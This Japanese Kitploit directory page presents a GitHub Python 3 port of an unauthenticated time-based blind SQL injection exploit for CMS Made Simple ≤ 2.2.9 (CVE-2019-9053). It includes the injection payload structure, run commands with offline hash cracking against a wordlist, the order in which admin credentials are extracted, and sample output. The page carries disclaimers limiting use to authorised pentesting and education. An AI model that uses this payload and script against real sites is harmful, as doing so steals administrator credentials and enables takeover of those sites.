Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2019-9053-py3 — CMS Made Simple ≤ 2.2.9(CVE-2019-9053)向けの認証不要な時間ベースのブラインドSQLインジェクションエクスプロイトで、Python 3に移植されています。 | Kitploit
ツール/GitHubGitHub/vedantrana73/cve-2019-9053-py3
パスワードクラッキング脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubvedantrana73/cve-2019-9053-py3

cve-2019-9053-py3

CMS Made Simple ≤ 2.2.9(CVE-2019-9053)向けの認証不要な時間ベースのブラインドSQLインジェクションエクスプロイトで、Python 3に移植されています。

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-9053 — CMS Made Simple SQLi エクスプロイト (Python 3)

Python CVE Type Target License

免責事項: このツールは、認定されたペネトレーションテストおよび教育目的のみを対象としています。明示的な書面による許可なくシステムに対して実行することは違法です。作者は不正使用について一切の責任を負いません。


概要

これは CVE-2019-9053 の公開エクスプロイトを Python 3 に移植したものです — CMS Made Simple ≤ 2.2.9 における認証不要の 時間ベースのブラインド SQL インジェクション 脆弱性です。

脆弱なパラメータは、/moduleinterface.php エンドポイント(News モジュール)の m1_idlist です。ユーザー入力はサニタイズされずに SQL クエリへ渡されるため、認証されていない攻撃者が管理者のソルト、ユーザー名、メールアドレス、パスワードハッシュを抽出でき、さらにオフラインでのパスワードクラックも可能です。

オリジナルエクスプロイト: Daniele Scanu @ Certimeter Group。
修正とクリーンアップを施した Python 3 移植版です。


動作原理

このエクスプロイトは タイミングオラクル を使用します。SQL の LIKE 条件に SELECT sleep(T) を注入し、HTTP 応答時間を測定します。サーバーが T 秒以上停止した場合、注入した条件が真であることを意味します。これにより、HTTP 応答ボディにデータが一切表示されることなく、データを 1 文字ずつ 抽出できます。

root@kitploit:~
Payload structure:
  m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
            +where+password+like+0x{hex(known_prefix+guess)}25
            +and+user_id+like+0x31)+--+

抽出順序:

抽出後、オプションの オフライン辞書攻撃 がワードリストに対して MD5(salt + word) を計算します。以降のネットワークリクエストは不要です。


Python 3 での変更点

元のスクリプトは Python 2 用に書かれていました。以下の破壊的変更が修正されています:


要件

root@kitploit:~
pip3 install requests termcolor
依存関係目的
requestsターゲットへの HTTP リクエスト
termcolor色付きのターミナル出力

使い方

root@kitploit:~
# Basic extraction (no password cracking)
python3 exploit.py -u http://<target-ip>/simple

# Extraction + offline password cracking
python3 exploit.py -u http://<target-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt

オプション

フラグ説明
-u, --urlCMS Made Simple インストールのベース URL

出力例

root@kitploit:~
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123

CVE 詳細


参照

  • NVD — CVE-2019-9053
  • オリジナルエクスプロイト — Exploit-DB #46635
  • CMS Made Simple

法的注意事項

このエクスプロイトは、認定されたペネトレーションテストおよび CTF/教育目的のみ で提供されています。
所有していない、または明示的な書面によるテスト許可を得ていないシステムへの不正使用は、インドの IT 法 (IT Act, 2000) および世界各国の同等の法律に基づく犯罪行為です。

ツールをダウンロード
Stepフィールドテーブル備考
1ソルトcms_siteprefsパスワードをクラックするために必要
2ユーザー名cms_usersuser_id = 1 (管理者)
3メールアドレスcms_usersuser_id = 1 (管理者)
4パスワードcms_usersMD5(salt + password) として保存
#変更理由
1print "..." → print("...")Python 3 では print は関数
2hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode())Python 3 では hashlib.md5() は bytes を必要とする
3dict = open(wordlist) → with open(wordlist) as wordlist_filedict は組み込み関数を隠してしまう。コンテキストマネージャに変更
4print "\033c" → print("\033c", end="")ターミナルクリア時の余分な改行を回避
5print colored(...) → print(colored(...))colored() は文字列を返すため、print() ラッパーが必要
-w, --wordlist
オフラインのパスワードクラック用ワードリストのパス
-c, --crackパスワードクラックモードを有効化
フィールド値
CVE IDCVE-2019-9053
CVSS スコア7.5 (High)
タイプ認証不要の時間ベースのブラインド SQL インジェクション
影響を受けるバージョンCMS Made Simple ≤ 2.2.9
パラメータNews モジュールの m1_idlist
認証の必要性なし
パッチCMS Made Simple 2.2.10+